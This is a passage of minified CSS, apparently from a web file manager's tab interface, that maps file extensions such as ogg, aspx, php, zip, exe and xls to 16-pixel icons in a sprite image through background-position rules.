-112px;background-position:-112px -48px !important;}.task-tab .tabs .tab .x-item-file.x-ogg,.task-tab .tabs .tab img.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.task-tab .tabs .tab .x-item-file.x-webm,.task-tab .tabs .tab img.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.task-tab .tabs .tab .x-item-file.x-wmv,.task-tab .tabs .tab img.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.task-tab .tabs .tab .x-item-file.x-asax,.task-tab .tabs .tab img.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.task-tab .tabs .tab .x-item-file.x-ascx,.task-tab .tabs .tab img.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.task-tab .tabs .tab .x-item-file.x-ashx,.task-tab .tabs .tab img.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.task-tab .tabs .tab .x-item-file.x-asmx,.task-tab .tabs .tab img.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.task-tab .tabs .tab .x-item-file.x-aspx,.task-tab .tabs .tab img.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.task-tab .tabs .tab .x-item-file.x-config,.task-tab .tabs .tab img.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.task-tab .tabs .tab .x-item-file.x-cshtml,.task-tab .tabs .tab img.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.task-tab .tabs .tab .x-item-file.x-swf,.task-tab .tabs .tab img.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.task-tab .tabs .tab .x-item-file.x-xap,.task-tab .tabs .tab img.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.task-tab .tabs .tab .x-item-file.x-php,.task-tab .tabs .tab img.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.task-tab .tabs .tab .x-item-file.x-txt,.task-tab .tabs .tab .x-item-file.x-textile,.task-tab .tabs .tab .x-item-file.x-inc,.task-tab .tabs .tab .x-item-file.x-log,.task-tab .tabs .tab img.x-txt,.task-tab .tabs .tab img.x-textile,.task-tab .tabs .tab img.x-inc,.task-tab .tabs .tab img.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.tasktab-dragging.tab .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.tasktab-dragging.tab .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.tasktab-dragging.tab .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.tasktab-dragging.tab .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.tasktab-dragging.tab .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.tasktab-dragging.tab .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.tasktab-dragging.tab .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.tasktab-dragging.tab .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.tasktab-dragging.tab .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.tasktab-dragging.tab .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.tasktab-dragging.tab .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.tasktab-dragging.tab .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.tasktab-dragging.tab .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.tasktab-dragging.tab .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.tasktab-dragging.tab .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.tasktab-dragging.tab .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.tasktab-dragging.tab .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.tasktab-dragging.tab .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.tasktab-dragging.tab .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.tasktab-dragging.tab .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.tasktab-dragging.tab .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.tasktab-dragging.tab .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.tasktab-dragging.tab .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.tasktab-dragging.tab .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.tasktab-dragging.tab .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.tasktab-dragging.tab .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.tasktab-dragging.tab .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.tasktab-dragging.tab .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.tasktab-dragging.tab .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.tasktab-dragging.tab .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.tasktab-dragging.tab .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.tasktab-dragging.tab .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.tasktab-dragging.tab .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.tasktab-dragging.tab .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.tasktab-dragging.tab .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.tasktab-dragging.tab .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.tasktab-dragging.tab .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.tasktab-dragging.tab .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.tasktab-dragging.tab .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.tasktab-dragging.tab .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.tasktab-dragging.tab .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.tasktab-dragging.tab .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.tasktab-dragging.tab .x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.tasktab-dragging.tab .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.tasktab-dragging.tab .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.tasktab-dragging.tab .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.tasktab-dragging.tab .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.tasktab-dragging.tab .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.tasktab-dragging.tab .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.tasktab-dragging.tab .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.tasktab-dragging.tab .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.tasktab-dragging.tab .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.tasktab-dragging.tab .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.tasktab-dragging.tab .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.tasktab-dragging.tab .x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.tasktab-dragging.tab .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.tasktab-dragging.tab .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.tasktab-dragging.tab .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.tasktab-dragging.tab .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.tasktab-dragging.tab .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.tasktab-dragging.tab .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.tasktab-dragging.tab .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.tasktab-dragging.tab .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.tasktab-dragging.tab .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.tasktab-dragging.tab .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.tasktab-dragging.tab .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.tasktab-dragging.tab .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.tasktab-dragging.tab .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.tasktab-dragging.tab .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.tasktab-dragging.tab .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.tasktab-dragging.tab .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.tasktab-dragging.tab .x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.tasktab-dragging.tab .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.tasktab-dragging.tab .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.tasktab-dragging.tab .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.tasktab-dragging.tab .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.tasktab-dragging.tab .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.tasktab-dragging.tab .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.tasktab-dragging.tab .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.tasktab-dragging.tab .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.tasktab-dragging.tab .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.tasktab-dragging.tab .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.tasktab-dragging.tab .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.tasktab-dragging.tab .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.tasktab-dragging.tab .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.tasktab-dragging.tab .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.tasktab-dragging.tab .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.tasktab-dragging.tab .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.tasktab-dragging.tab .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.tasktab-dragging.tab .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.tasktab-dragging.tab .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.tasktab-dragging.tab .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.tasktab-dragging.tab .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.tasktab-dragging.tab .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.tasktab-dragging.tab .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.tasktab-dragging.tab .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.tasktab-dragging.tab .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.tasktab-dragging.tab .x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.tasktab-dragging.tab .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.tasktab-dragging.tab .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.tasktab-dragging.tab .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.tasktab-dragging.tab .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.tasktab-dragging.tab .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.tasktab-dragging.tab .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.tasktab-dragging.tab .x-item-file.x-ini{position:relative;width:16px !important;height:16px 